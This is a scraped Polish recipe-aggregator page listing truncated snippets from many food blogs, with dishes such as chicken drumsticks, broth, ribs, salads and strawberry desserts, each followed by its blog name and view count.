Bardzo prosty i szybki pomysł na obiad. Dzięki keczupowi mamy smaczny sos do obiadu. Jako dodatek do takiego mięska polecam sałatkę z ogórków, papryki i pomidorów. 1 kg pałek z kurczaka 1 łyżeczka przyprawy do kebabu 1 łyżeczka oregano 1 łyżeczka lubczyku 0,5 łyżeczki przyprawy typu Kucharek 1/4 szklanki pikantnego keczupu Pałki z kurczaka dokładnie myjemy i osuszamy. Wszystkie

VioletoweKucharzenie
ROSÓŁ DROBIOWY / CHICKEN BROTH 157

ROSÓŁ DROBIOWY / CHICKEN BROTH Rosół, podstawa podstaw. Baza do wszystkich zup, przydatny przy gotowaniu sosów, pieczeniu mięs. Dzisiaj klasyczny, drobiowy, z którego powstaną dwie zupy – pomidorowa i kokosowa z kurczakiem, ale to w najbliższej przyszłości – dziś rosół gra główną rolę. Przepis niewiele się różni od przepisu na rosół wołowy , który gotowałam jakiś czas temu. Broth, the base

Martyna Cooks
Żeberka chilli 246

Pyszna propozycja dla amatorów żeberek. Miękkie i delikatne mięso w aromatycznym, lekko pikantnym sosie. Składniki 1 kg mięsnych żeberek 1 puszka krojonych pomidorów 1 papryka czerwona pasta chilli firmy Proeco Polska 1 duża cebula sól pieprz keczup mąka do panierowania … Czytaj dalej

Fiołkowa Kuchnia Małgorzaty
Dietetyczna pizza- pizzerinki z cukinii 224

właśnie dla Ciebie Oczywiście, żeby podnieść tłuszcze w daniu, możesz dodać salami. Ja do posmarowania plastrów cukinii użyłam ajwaru, ale jeśli go nie macie, sprawdzi się również idealnie zwykły sos pomidorowy. Print Dietetyczne pizze- pizzerinki z cukinii window.ajaxurl = "http://mieszamwgarnku.pl/wp-admin/admin-ajax.php"; Ingredients 1 średnia cukinia pół słoiczka ajwaru ostrego 200 g mozarelli przyprawy (sól, pieprz, oregano, bazylia itp) Instructions Cukinię

Mieszam w Garnku
Gulasz wołowy 188

drugie: jest zdrowy. Mięso wołowe jest chude i zawiera dużo białka, a duszone warzywa zachowują swoje właściwości. Dzięki gulaszowi, na naszym talerzu zagoszczą same naturalne składniki wraz z prawdziwym sosem wołowym, bez polepszaczy. Po trzecie: jest smaczny. To zadziwiające, że przyprawione warzywa z mięsem mogą tak smakować! Do tego danie jest pięknie kolorowe i aromatyczne, a nie od dziś wiadomo

Proste-przepisy.pl
Placuszki z płatkami owsianymi na owocowym jogurcie 264

Uwielbiam takie śniadania. Delikatne, szybkie i łatwe w wykonaniu placuszki skąpane w daktylowym sosie. Nic tylko jeść i… z radością „budzić się do życia”. Miłego dnia. Zapowiada się kolejny gorący i intensywny dzień. Zostawiam Was z przepisem na pyszne placuszki z płatkami owsianymi na owocowym jogurcie. Spróbujcie, polecam. Składniki: (na 1 porcję) 1 jogurt owocowy

Słodkie okruszki
Sałatka z mozzarellą i awokado 221

mniejsze kawałki. Pomidorki kroimy na połówki, awokado w kostkę, szczypiorek drobno siekamy. Olej mieszamy z octem i solą. W dużej misce mieszamy sałatę z pomidorkami, awokado i przygotowanym sosem, przekładamy do salaterki, obsypujemy kulkami mozzarelli i szczypiorkiem.  Gotowe :-) Sałatka bardzo dobrze komponuje się z grzankami lub pieczywem chrupkim

Czary - gary w kuchni
Karkówka duszona w cebuli i keczupie 42188

szklance wody rozrabiamy keczup i dolewamy na patelnię.  Całość dusimy, aż mięso będzie miękkie (około 90 - 100 minut).  Po około godzinie duszenia, gdy smaki przejdą sobą nawzajem sos próbujemy i jeśli zachodzi taka potrzeba, doprawiamy solą, pieprzem i papryką. Smacznego

Smak mojego domu
Hummus w słoiku. 234

Jestem słoikiem. Lubię słoiki.    Przywożę je też z domu rodziców.  Czasami dostaję z nimi paczkę. (!) W słoikach przechowuję, pasteryzuję zupy, roznoszę rosół, pakuje sosy, upycham owoce zalane alkoholem i przenoszę pasty. Ostatnio w moich słoikach króluje hummus. Zapraszam niżej po przepis. Składniki: (na 1 litr hummusu) 1 szklanka ugotowanej ciecierzyca 3-4 łyżki tahiny 1/3szklanki lodowatej wody

Fiolka w kuchni
Pakora z kalafiora 279

łyżek mąki z ciecierzycy 6-7 łyżek wody 3/4 łyżeczki curry 1/4 łyżeczki czosnku granulowanego 3/4 łyżeczki papryki słodkiej 1/4 łyżeczki pieprzu czarnego 1/4 łyżeczki soli 1 łyżeczka sosu sojowego (opcjonalnie, w zamian można dodać trochę więcej soli) Przygotowanie: Kalafiora myjemy i kroimy dzielimy na różyczki. Jeżeli są duże, to dzielimy je na mniejsze części - takie będzie nam wygodniej smażyć

Bananowe Pole
Sałatka z młodych ziemniaków i boczku 168

patelni na rumiany kolor. Szatkujemy koper i dymkę. Ostudzone ziemniaki kroimy w talarki i łączymy z innymi składnikami.  Majonez łączymy z czosnkiem i doprawiamy solą i pieprzem. Polewamy sosem sałatkę

Qchnia po prostu
Sztuka fermentacji 200

dojrzewające, szynkę prosciutto, vinho verde, zupę miso, kimchi i fermentowane tofu. Wiemy, że coraz częściej szukacie najlepszych piw z małych browarów. Wiemy, że pijecie cydr i lejecie do wszystkiego sos sojowy. A teraz wyobraźcie sobie, że możecie przynajmniej część tych rzeczy zrobić sami w domu. Wyobraźcie sobie, że możecie zrobić szampana z kwiatów bzu, który pachnie lekko nie wiedzieć czemu

GRUBY WAŁEK
Gołąbki z młodej kapusty 228

siebie ściśle przylegały. W osobnym garnku zagotować bulion i zalać nim gołąbki. Garnek przykryć i gotować gołąbki ok godziny. Po tym czasie wywar można odlać i przygotować z niego sos, np. pomidorowy lub grzybowy

Ze smakiem i z pasją
Podkarpacka pieczona karkówka 249

powtarzamy jeszcze 3 razy. Następnie wyciągamy mięso z zalewy, układamy na blaszce i zapiekamy przez 15 minut w temperaturze 220 stopni C (grzałka góra-dół). Podajemy na ciepło z sosem, lub na zimno, jako dodatek do chleba. Po wizycie karkówki w lodówce jest ona znacznie bardziej zwarta niż na zdjęciach i można ją kroić na cieniutkie plasterki. *Przepis pochodzi

Trzeci talerz
Sałatka z kurczakiem, jajkiem, pomidorami i kukurydzą 323

pracy, lekka sałatka z kurczakiem podana z dressingiem bazyliowym. Składniki na sałatkę: rukola pierś z kurczaka + papryka słodka, ząbek czosnku i sól jajko pomidorki koktajlowe kukurydza Składniki na sos: garść liści bazylii 4-5 łyżek oliwy z oliwek łyżeczka soku z cytryny sól i pieprz do do smaku listonic_type='fooddrink';listonic_theme='addToShoppingList1';listonic_content='rukola pierś z kurczaka

Kuchnia Bazylii
PIT- y 4 z załącznikami 174

wschodnie, trochę południowe. Przed smażeniem marynuję ją z przyprawami ok. godziny. Przygotowujemy też siekaną kapustę pekińską, pomidory, ogórki surowe i korniszony, tarty ser, kolorową paprykę. Oczywiście muszą też być sosy, np. czosnkowy na bazie jogurtu i majonezu oraz pikantny chrzanowy lub musztardowy, również z jogurtem. Najfajniejsze w tym obiedzie jest, że dzieci pakują w swoje kanapki nawet te warzywa, które

I tu będę miała takie te
Pasta party dla biegaczy- jednogarnkowe danie z makaronem. 164

400g makaronu jajecznego z pszenicy durum - ok.400g mielonej wołowiny - ok. 200ml rosołu wołowego - ok. 250ml mleka  - 1 posiekana cebula - pół szklanki bułki tartej - 2 ząbki czosnku - łyżka sosu sojowego - łyżeczka soli - łyżeczka pieprzu - pęczek zielonej pietruszki - pół szklanki tartego parmezanu Najpierw przygotowuję klopsiki. Ostatnio przypomniały się nam wyczyny szwedzkiego kucharza i te kojarzą się nam z jego wersją" hoti

I tu będę miała takie te
Sałata na słodko 419

latach 80-tych potrafiły znaleźć sposób na niejadka. Sałata na słodko jest bardzo prosta i szybka w przygotowaniu. Jako dzieci przepadaliśmy za nią, a moją rolą było przygotowywanie słodkiego sosu. Naiwnie wierzyłam mamie, że kiedy ja go przygotowuję, smakuje najlepiej :) Danie dodaję do kategorii Kuchnia podkarpacka, ponieważ w czasach mojego dzieciństwa było u nas dość popularne. Składniki: 1 sałata

Trzeci talerz
szybkowar-gołąbki o smaku kurczaka po węgiersku... 253

zasyczenia pary na mniejszym ogniu gotować z 30 minut, zostawić w szybkowarze najlepiej na całą noc, rano gołąbki można wyjąć bez "rozwalania się" w całości można je podać z sosem pomidorowym, lub innym, my lubimy je jeść takie do pieczywa na zimno..........SMACZNEGO

W Mojej Kuchni Lubię
Polędwica z plamiaka pieczona w szynce szwarcwaldzkiej 282

rodzaju Melanogrammus . W języku angielskim znany jako „haddock”. Jest cenioną rybą w krajach anglosaskich. Charakteryzuje ją bardzo kruche i delikatne mięso. Plamiak bardzo dobrze komponuje się w sosach (np. pomidorowych, śmietanowych). Możemy go również piec, grillować i wędzić. Mięso ryby jest białe, bardzo chude i lekkostrawne. Polędwica z plamiaka pieczona w szynce szwarcwaldzkiej. Składniki: - 2 filety z plamiaka

mojewypiekiinietylko
7 kulinarnych mitów, które potrzebują obalenia 722

wody (różnicy gęstości oleju i wody uniemożliwia ich swobodne wymieszanie) i podczas przelewania makaronu osadza się na makaronie, tworząc tłustą warstwę i śliską powierzchnie, do której nie będzie przylegał sos. 3. Mikrofalówka niszczy składniki odżywcze Gotowanie, jak każda forma obróbki termicznej, powoduje utratę części składników odżywczych. W przypadku kuchenki mikrofalowej zjawisko to również występuje. ALE! Najlepszą metodą, która zachowuje składniki

Tradycyjna Kuchnia
Włoska sałatka caprese 180

Sałatka caprese, klasyk kuchni włoskiej z okolic Kampanii. Sałatka ma odzwierciedlać flagę Włoch. Jest to sałatka z mozzarelli i pomidorów polana sosem z oliwy i przełożona listkami bazylii. Szybko robimy i zajadamy jeszcze szybciej, polecam w sezonie gdy pomidory pachną latem i słońcem. Włoska sałatka caprese. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Grillowane truskawki. Jak grillować truskawki? Metody, techniki, przepisy 246

lubi przecież próbować czegoś wyjątkowego. Dlaczego więc nie spróbować truskawek z grilla i zachwycić nimi rodzinę i przyjaciół. Grillowanie truskawek jest łatwe i szybkie. Proponujemy podawać je z lodami, sosem czekoladowym i bitą śmietaną. W ten łatwy i prosty sposób przygotujemy pyszny deser. Truskawki można grillować bezpośrednio na ruszcie, mogą być również grillowane na szaszłykach. Mogą być podawane jako jeden

naRuszcie
Kluski ziemniaczane z kaszą manną + film 199

ziemniaczane z kaszą manną to smaczne, tanie i bardzo łatwe w przygotowaniu danie. T o doskonała alternatywa dla ziemniaków, można je podać jako dodatek niemal do wszystkich dań głównych, sosów i mięs. Kluski ziemniaczane okraszone skwarkami lub podsmażoną cebulką mogą również stanowić samodzielną potrawę.       Składniki na około 20 sztuk : 1/2 kg ugotowanych ziemniaków 1 szklanka kaszy manny

Smakowite Dania
Omlet Rafaello 241

śniadaniowe.  Sprawdzone podstawowe przepisy działaja cuda, a niewielkie modyfikacje, które powoli wprowadzam nadają nowy smak moim śniadaniowym pysznościom. Dzisiaj wpadł mocno kokosowy omlet z orzechami polany czekoladowo-orzechowym sosem. Krótko mówiąc, RAFAELLO w wersji fit. SKŁADNIKI 3 jajka 35 g mąki owsianej 10 g mąki gryczanej 1 łyżeczka cynamonu (lub kakao, jeśli lubicie) 1 łyżka wiórków kokosowych Białka ubij

Tetiisheri
Błyskawiczne piątki - podsumowanie 17.06.2016r. 162

prezentuje się dzisiejsza lista : Bożena Ekspresowe rogaliki   Arkadiusz   Risotto truskawkowe z kurczakiem   Arkadiusz   Zupa krem z boczniaków    Monika Ziołowa przyprawa do zup, sosów, mięs i ryb    Justyna Sałatka ze szpinaku, truskawek i mozzarelli   Marzena   Jajko z szynką i szparagami   Magdalena Zdrowa sałatka z pestkami dyni   Angelika Lody malinowe

Magiczne Życie Marty
SCHAB W SOSIE ŚMIETANKOWO KOPERKOWYM Z POMIDORKAMI CHERRY 163

wlewamy bulion, przekładamy kotlety, koperek siekamy wrzucamy do garnka, dolewamy śmietankę, dusimy do momentu aż śmietana zgęstnieje. Na ostatni moment dokładamy połówki pomidorków na ok 3 minuty Podajemy polane sosem i obłożone pomidorkami

Z Majeczką w kuchni
Żeberka w miodzie 223

będzie podsmażone i cebula lekko się ze złoci, polać wszystko miodem. Gdy zacznie się karmelizować, wlewamy szklanką wody. Dusić na wolnym ogniu przez 1-1,5 godziny, uzupełniając wyparowany sos wodą. Smacznego

magiczna kuchnia Kasi
Arbuzowa "pizza" 194

łyżka cukru pudru CZAS PRZYGOTOWANIA: 10 MIN POZIOM TRUDNOŚCI: ŁATWY Przygotowanie: Jogurt naturalny lub serek mascarpone dokładnie mieszamy z cukrem pudrem. Na talerzu kładziemy plaster arbuza, smarujemy go przygotowanym sosem. Na wierzchu układamy truskawki i borówki, dekorujemy listkami mięty. Kroimy na 6 równych części i podajemy. Smacznego! :) *Na spód pizzy polecam wykorzystać małe arbuzy - ich pestki są prawie niewyczuwalne

My Culinary Art
Ryba na 2 sposoby 246

przygotowałam dla nas chrupiącą rybę z frytkami, czyli brytyjskie "fish 'n' chips". Podam oba przepisy byście mogli zdecydować, która wersja bardziej przemawia do Waszych kubków smakowych. :) Ryba w sosie maślano-cytrynowym: 3-4 duże filety rybne (mintaj, morszczuk, pstrąg, dowolna ryba, którą lubicie) ok. łyżka masła 3 plasterki cytryny lub limonki przyprawa do ryb pieprz ziołowy sól i pieprz

Cooking Monster
Kofta kebab z chlebkiem pita 245

odrobiną soli i rozcierać o deskę ostrą stroną noża. Kofty są mistrzowskie, smak jest bardzo intensywny i ciekawy, ja podałam je z soczewicą z ziemniakami Frosty oraz pitą i sosem jogurtowym z TEGO przepisu. Przepis na chlebek znalazłam na niezawodnym blogu Moje Wypieki . :) Chlebek pita: 3 szklanki mąki pszennej chlebowej (ja użyłam zwykłej) 1 i 1/4 szklanki letniej wody

Cooking Monster
Delikatne nuggetsy z kurczaka 202

olejem. Pieczenie: Temperatura - 200 ºC z termoobiegiem Czas - ok. 20-25 minut Kurczak jest delikatny, soczysty i na pewno zasmakuje całej rodzinie! Możecie podać go jako samodzielną przekąskę z sosami do wyboru albo jako danie główne z dodatkiem ryżu, ziemniaków etc. Na pewno będzie pysznie - smacznego

Cooking Monster
Tortilla z chrupiącym kurczakiem 266

które na pewno zalegają Wam w lodówce, i obiad w nowej odsłonie gotowy. Możecie wykorzystać to, co aktualnie macie w domu - dowolne warzywa, również te marynowane, ser, sałaty, ulubione sosy - możecie stworzyć własną kompozycję smakową. Tortille możecie przygotować sami, ale sprawdzą się również kupne placki. My z Dominikiem zawsze staramy się mieć jedno opakowanie placków pszennych dobrej jakości

Cooking Monster
Waniliowa Panna Cotta 171

zanurzyć na kilka sekund w misce z gorącą wodą. Panna cotta ma cudowną konsystencję, wygląda niemal tak jakby za chwilkę miała się rozpuścić, świetnie smakuje z dodatkiem owoców lub sosem czekoladowym etc. Smacznego

Cooking Monster
Szaszłyki z kurczaka 182

taką wersję, gdyż odpowiadają nam te smaki, poza tym są to produkty łatwo dostępne. :)  Pieczenie: Temperatura - 200ºC z termoobiegiem Czas - ok. 20 minut Szaszłyki podałam z frytkami, sosem czosnkowym i ketchupem. Świetnie sprawdzą się także pieczone ziemniaki i świeże surówki. W sezonie grillowym śmiało można wykorzystać ten przepis do zrobienia w plenerze. Smacznego

Cooking Monster
Chrupiący kurczak w pikantnej panierce 192

osiąknęły z nadmiaru tłuszczu. Tak przygotowany kurczak smakuje świetnie z każdymi dodatkami - frytkami, ziemniakami w mundurkach czy ryżem. My zjedliśmy go z mieszanką warzyw na patelnię oraz jogurtowym sosem. Pycha - polecam

Cooking Monster
#Porady - jak zaplanować jadłospis na cały miesiąc 228

jestem głodna to mam ochotę kogoś pobić, zabranie obiadu do pracy chroni Was przed kłótniami z najbliższymi, gdy wracacie głodni z pracy i ewidentnie jesteście nie w sosie. ;) 4. Menu dopasujcie do możliwości kulinarnych Jeśli potrawy będzie przyrządzać więcej niż jedna osoba, to warto się zastanowić, co, kto robi lepiej - co lepiej smakuje w wykonaniu żony, a co w wykonaniu

Cooking Monster
Placek po węgiersku 273

bardzo zdrowe, ale nie czarujmy, smakiem nigdy nie będą przypominały tych usmażonych na tłuszczu. Mimo wszystko są naprawdę pyszne i warto je jeść z ulubionymi dodatkami - jogurtem, twarożkiem, sosem grzybowym czy śmietaną i cukrem, jak w moim domu rodzinnym. :) Placki wykładamy na talerz, polewamy gulaszem i podajemy z ulubioną surówką. Pyszne i sycące danie bez zbędnych kalorii - smacznego! :) Gulasz smakuje

Cooking Monster
Chilli con carne 246

smaku. Następnie przykryjcie pokrywką, zmniejszcie ogień i gotujcie przez ok. 10-15 minut. Ja uwielbiam jeść chilli z dodatkiem pszennych bułeczek lekko podpieczonych w piekarniku maczając je w sosie, ale Wy możecie podać je z ryżem lub dodać mniejszą ilość passaty i potraktować jako dodatek do tortilli. Tak czy siak to szybki i pyszny pomysł na niecodzienny obiad - smacznego

Cooking Monster
Podsumowanie miesiąca - maj 219

się w tej potrawie! <3  Tak mnie zainspirowało, że postanowiłam popichcić nieco w azjatyckim stylu i zaopatrzyłam się w niezbędne produkty np. w sprzedaży promocyjnej w Lidlu - sosy, makarony, pędy fasoli mung i inne smakołyki udało kupić mi się nawet po 2 zł za sztukę :)   Założyłam profil na Instagramie, gdzie możecie znaleźć zdjęcia potraw, które przygotowuję

Cooking Monster
Wytrawne roladki z ciasta francuskiego 284

minut Roladki powinny ładnie wyrosnąć i się zarumienić. Świetnie smakują jeszcze ciepłe, ale sprawdzą się także jako zimna przekąska. Ja swoje polałam ketchupem, ale można także przyrządzić do nich sos czosnkowy i sałatkę. Jest pysznie

Cooking Monster
Pasta z awokado na chleb i nie tylko 182

Taka pasta jest idealna na nachosy, jako sos do tortilli, na kanapki itp. Jajka ugotować na twardo, oskrobać i wrzucić do głębokiej miski. Awokado przeciąć na pół, wyjąć pestkę. Za pomocą dużej łyżki wydrążyć miąższ. Wrzucić do jajek. Szczypiorek posiekać i dodać do pozostałych składników. To samo zrobić z chilli i czosnkiem. Za pomocą blendera zmiksować na gładką masę. Dodać

Kuchnia Pokoleń
Rolada z ziemniaków ze szpinakiem 193

wolnym ogniu. Ugotowaną roladę wykładamy na półmisek, rozwijamy z foli. Roladę kroimy w grubsze kawałki podajemy na gorąco lub na zimno do każdego rodzaju mięsa lub polewamy ulubionym sosem. Smacznego

kgwjanczewo
Pastrami Hash, czyli bałagan na patelni 179

patelnię z piekarnika, postawiłam na blacie, posypałam szczypiorkiem i pomidorami.  Teraz tylko zostało rozłożyć jedzonko na talerze. Cały ten bałagan jedliśmy z sałatą z rzodkiewką i ogórkiem w sosie w stylu tza tzyki. SMACZNEGO  życzy  BLONDYNKA

Blondynka Gotuje
O zapachu rumu i wanilii, a smaku rabarbaru z morelą i truskawką! 100 lat! 138

moreli - 200 g truskawek Rozgrzej żeliwną patelnię i rozgrzej masło, dodaj rabarbar, wanilię i cukier, ciągle mieszaj, tak aby się równomiernie rozprażył, podlej rumem. Alkohol powinien odparować, pozostawiając w sosie swój aromat. Całość mieszaj tak aby rabarbar utrzymał swoją formę, podłużnych paseczków, które pięknie się potem prezentują na cieście. Zestaw patelnię z ognia. Dodaj morele, truskawki i wymieszaj delikatnie całość

SMYKWKUCHNI
Przepisy z łososia- kanapki 228

łososia pod każdą postacią, więc przepisy z łososia często pojawiają się na moim blogu. Łosoś wędzony na zimno czy ciepło to wyrafinowany i smakowity składnik przekąsek , sałatek , świetny do sosów i na kanapki. Bajgle z wędzonym łososiem i serkiem philadelphia są przepyszne. Delikatne w smaku z dodatkiem kaparów są pochłaniane jeden za drugim. Przepisy z łososia to proste dania, które

codojedzenia
Tosty francuskie czyli tosty z chałki 184

doskonały pomysł na weekendowe śniadanie lub deser. Do przygotowania tostów francuskich zainspirował mnie przepis z książki Patrycji Chmiel "Romans z gotowaniem. Potrawy, w których się zakochasz! " , jednak zamiast sosu truskawkowego użyłam całych owoców. Zresztą jeśli chodzi o dodatki, to ilość możliwości jest nieograniczona :) Składniki – proporcje na 3 osoby 9 kromek chałki, słodkiej bułki lub pszennego chleba tostowego o grubości około

Kulinaria - potrawy z różnych stron świata
Różane pierogi z truskawkami. Najlepsze ciasto na pierogi 183

osolony wrzątek i gotować kilka minut po wypłynięciu na powierzchnię wody. Wybierać pierogi łyżką cedzakową śmietankę lub jogurt wymieszać z cukrem różanym pierogi podawać polane różaną śmietanką i  sosem truskawkowym

Gotuj zdrowo!Guten Appetit!
3 pomysły na wakacyjne desery ze świeżych owoców 215

masz czasu ani ochoty na pieczenie ciast, podaj swoim bliskim sernik na zimno z ulubionymi owocami zalanymi kolorową galaretką. Deser można udekorować wiórkami czekoladowymi, płatkami migdałów lub polać sosem waniliowym, który podkreśli smak delikatnego musu. Aby uzyskać odpowiednią konsystencję i najlepszy smak sernika na zimno, warto zamówić dobrej jakości nabiał, najlepiej twarożek lub serek homogenizowany od sprawdzonego mleczarza na portalu

Kuchcik gotuje
Szpinakowe tagliatelle z białym serem 196

Jakiś czas temu postanowiłam zakupiony świeży szpinak wykorzystać w makaronie. Najpierw myślałam zrobić zwykły makaron, a z przygotowanych liści przygotować sos. Po namyśle zaryzykowałam i zrobiłam makaron ze szpinakiem, który podałam po prostu z białym serem. Smakowało mi bardzo, a uprażone pestki dyni dodawały lekkiego aromatu całej potrawie. Składniki: Dla dwóch osób 1,5 szklanki mąki 1 duża garść szpinaku

Kuchnia w czekoladzie
Pieczeń rzymska (klops) z mięsa i ryby 268

górze ułożyć resztę boczku. Wstawić do piekarnika nagrzanego do 190 stopni i piec około 45 minut. Smakuje zarówno na ciepło jak i na zimno. Możemy go podawać również z sosem tatarskim. Polecam również klops z mięsa i grochu

Tradycyjna Kuchnia
Szynka pieczona w musztardzie i miodzie 172

nagrzanego do temperatury 180*C. Piec około 1 godzinę na każdy kilogram mięsa. Pod koniec pieczenia zdjąć pokrywkę i położyć plasterki masła na szynkę, aby ładnie się zarumieniło. Powstały sos z pieczenia można zlać do garnuszka, rozcieńczyć odrobiną wody i zagęścić wodą z mąką. Chwilkę pogotować, ewentualnie dosolić do smaku. SMACZNEGO

Malinowo w kuchni
Żywność ekologiczna - co to takiego? :) 151

gumy guar i dodatków skrobi, które mają za zadanie zagęścić konsystencję ketchupów. Podsumowując, ketchupy są zdecydowanie za słodkie! Na pewno zmniejszyłabym ilość cukru w składzie. Jako dodatek do jakiegoś sosu czy potrawy w małych ilościach jest zjadliwy, ale żeby np. maczać w nim jakieś warzywa to już nie :( Nie mówię, że powyższe ketchupy są niesmaczne, po prostu dla mnie przesłodzone

Zdrowie na języku :P
Kartoffelsalat - czyli ziemniaczana sałatka idealna do grilla 226

obieramy je i kroimy w kostkę. Dodajemy do nich także pokrojone w kostkę ogórki kiszone. Mieszamy ze sobą majonez, jogurt, sól, pieprz i przeciśnięty przez praskę czosnek. Tak przygotowanym sosem polewamy ziemniaki z ogórkami. Na koniec dodajemy posiekany koperek i szczypiorek - ilość wg uznania - tak jak lubimy najbardziej :) Wszystko mieszamy. Smacznego

Taste Therapy
Kolorowa sałatka z topinamburem 182

pomidor, ogórek, topinambur i  po wierzchu  rozrzucić  piórka cebuli.  Do jogurtu dodać przeciśnięty przez praskę czosnek, oliwę oraz sól i pieprz do smaku, wymieszać. Gotowym sosem polać sałatkę, na koniec wszystko posypać posiekanym koperkiem. Smacznego

magiczna kuchnia Kasi
Czekoladowy makaron z truskawkami 208

gorzkiej) Przygotowanie: Makaron ugotuj al`dente - odcedź i zahartuj zimną wodą. Do blendera wrzuć truskawki, cukier i wlej mleko - miksuj ok. 30 sekund. Do miseczek przełóż makaron i polej sosem truskawkowym. Udekoruj ćwiartkami truskawek, wiórkami czekoladowymi i listkami mięty ... podawaj

Alutka-Gotuje
Hamburger w bekonie 173

uformowane bardziej na formę kotletów mielonych obiadowych aniżeli na kształt kotletów do tradycyjnych hamburgerów, lecz także i te hamburgery można podawać w bułce z sałatą, pomidorem i np. ostrym sosem. Składniki na: Hamburger w bekonie dwa średnie ziemniaki – najlepiej jak znajdziecie słodką odmianę ziemniaków 450g mięsa mielonego […] The post Hamburger w bekonie appeared first on Magiczny Garnek

Magiczny Garnek
Zakręcone bułeczki ze szpinakiem 166

bułeczki ze szpinakiem. Pamiętajcie, że szpinak lubi dużą ilość czosnku, inaczej będzie trochę mdły. Na blogu znajdziecie też:  szpinakowy chłodnik ,  spaghetti z sosem szpinakowym ,  ziołową sałatkę ze szparagami ,  tartę ze szpinakiem i ricottą ,  tartę ze szpinakiem i serem pleśniowym .  spaghetti ze szpinakiem i pesto ,  szybką tartą z warzywami Koniecznie

Kulinarne przygody Gatity
BROWNIE Z MUSEM TRUSKAWKOWYM 280

gładką masę. Dodałam rozpuszczoną we wrzątku żelatynę i galaretkę. Można zamiast galaretki dodać więcej żelatyny  i rozpuszczone w zimnej wodzie 2 łyżki mąki ziemniaczanej. Na wystudzone ciasto wlałam sos z truskawek. Wstawiłam ciasto do lodówki aż mus stężał. Smacznego

potrawyregionalne
Zapiekanka ryżowa z truskawkami i pianką bezową 208

będzie sztywna powoli wsypywać cukier, nadal ubijać. Sztywną masę białkową rozłożyć na owocach. Zapiekankę wstawić do nagrzanego piekarnika do 180 C i piec 25 minut. Można podawać z dowolnym sosem. Może być owocowy lub śmietanowy. Smacznego

Kuchnia Pokoleń
Knedle z truskawkami 205

powinno zawierać ziemniaki, ale moja mama robiła knedle z ciasta niemal identycznego do pierogowego. Najlepsze knedle są ze zrumienioną na maśle bułeczką, ale oczywiście możecie polać je śmietaną czy sosem owocowym. Jeszcze jako dziecko pamiętam, że uwielbiałam posypywać bułkę cukrem. Dzisiaj już sporadycznie stosuję to barbarzyńskie przyzwyczajenie Ten mięsisty smak warstwy ciasta z nutką słodyczy w środku…mniam. Smak

Mieszam w Garnku
Pałki w koperkowym sosie 208

Drób w lekkim wydaniu. Super pomysł na mięso w wiosennym wydaniu. Jako, że podczas gotowania powstaje wspaniały aromatyczny sos to proponuję podawać tą potrawę najlepiej z ryżem. Składniki: 10 pałek kurczaka 35 dag pieczarek 1 duża zielona papryka 1 cebula 4 łyżki posiekanego koperku 3 szklanki bulionu pół szklanki śmietany kremówki 2 łyżki mąki sól, pieprz tłuszcz do smażenia Sposób

Pobite gary Barbary
Hamburgery wołowe z grilla w chlebku pita 154

nietypowe hamburgery, ale za to w sam raz na sezon grillowy. Burger jest w miarę klasyczny, ale za to zamiast bułki jest chlebek pita. Do tego świeże warzywa, odpowiedni sos i uczta gotowa

Milion Smaków
Placuszki z serka śmietankowego o dowolnym wariancie smakowym (bezglutenowe, wytrawne) 201

smak można modyfikować - używając serków o dowolnych wariantach smakowych. Można użyć też serka naturalnego i przyrządzić je "na słodko". Idealnie komponują się ze świeżymi warzywami, jogurtem, czy ulubionym sosem, ale ja je uwielbiam bez żadnych dodatków! Koniecznie spróbujcie! (około 8 sztuk) 100g śmietankowego serka o dowolnym wariancie smakowym (tu użyłam z prażoną cebulką) 1 jajko 1 łyżka mąki ryżowej (płaska

Di gotuje
Makaron bezglutenowy z warzywami w sosie pomidorowym :) 194

Różnorodność bezglutenowych makaronów Incola wypełniających moją szafkę inspiruje do tworzenia nowych propozycji np. obiadowych. Poniżej prosty sposób na makron z mnóstwem warzyw i dodatkiem lekkiego sosu pomidorowego. Prosto, smacznie i zdrowo :)  Składniki: 50 g makaronu bezglutenowego Penne (Incola)  1 łyżeczka oleju kokosowego  1 mała cebula 2 ząbki czosnku  kilka różyczek mrożonego brokuła 2 garście świeżego szpinaku

Zdrowie na języku :P
Gyros ze szpinakiem w cieście francuskim 319

Szybkie i efektownie prezentujące się danie obiadowe. :-) Do podania z lekkimi warzywami lub sałatką i jogurtowym sosem. Z podanych składników wyjdą nam 3 porcje.  1 arkusz ciasta francuskiego 2 nieduże filety  1 cebula 250g świeżego szpinaku gyros, sól, pieprz sezam 1 jajko olej 1. Filet i cebulę kroimy w kostkę, posypujemy obficie przyprawą gyros i podsmażamy na rozgrzanym

Szefowa kuchni
Oswoić pokrzywę! 202

dających gęsty krem, w którym możemy "postawić łyżkę". Na foli spożywczej rozkładamy warstwy pasty i twarogu, a następnie rolujemy i chłodzimy. Dalej to już czysta sztuka! Maliny blendujemy na sos, pokrzywę płuczemy i osuszamy, układając na niej pozostałe składniki - możecie również  lekko uderzyć pęczkiem o blat, aby pozbawić ją ewentualnych igiełek :) Bawcie się formą! Podajcie tą sałatkę

Spektrum Smaku
Makaron penne z porem w sosie śmietanowo serowym 255

gotowe. Odcedzony makaron penne zostawiamy w garnku, i do niego dodajemy zawartość patelni.  Dokładnie mieszamy wszystko w garnku. We Włoszech właśnie tak podaje się makaron - dokładnie wymieszany z sosem, i jestem tego zwolenniczką :) *Kilkukrotnie próbowałam użyć innego makaronu, ale najlepszy właśnie jest penne

Pora na pora
Cannelloni z pieczarkami na parze 274

gotowania na parze zalewamy wrzątkiem i włączamy na 25 minut. Pomidory krojone przyprawiamy bazylią i oregano. Po wyłączeniu się parowaru, wyjmujemy makaron i polewamy go pomidorami wraz z sosem i posypujemy startym serem. Czekam na Wasze komentarze i uwagi :) I jak trochę za mną tęskniliście, również możecie to napisać ;)  Smacznego Adam

Parowar Faceta
Makaron penne z porem w sosie śmietanowo serowym 259

gotowe. Odcedzony makaron penne zostawiamy w garnku, i do niego dodajemy zawartość patelni.  Dokładnie mieszamy wszystko w garnku. We Włoszech właśnie tak podaje się makaron - dokładnie wymieszany z sosem, i jestem tego zwolenniczką :) *Kilkukrotnie próbowałam użyć innego makaronu, ale najlepszy właśnie jest penne

Pora na pora
Ravioli w sosie pomidorowym z chorizo 256

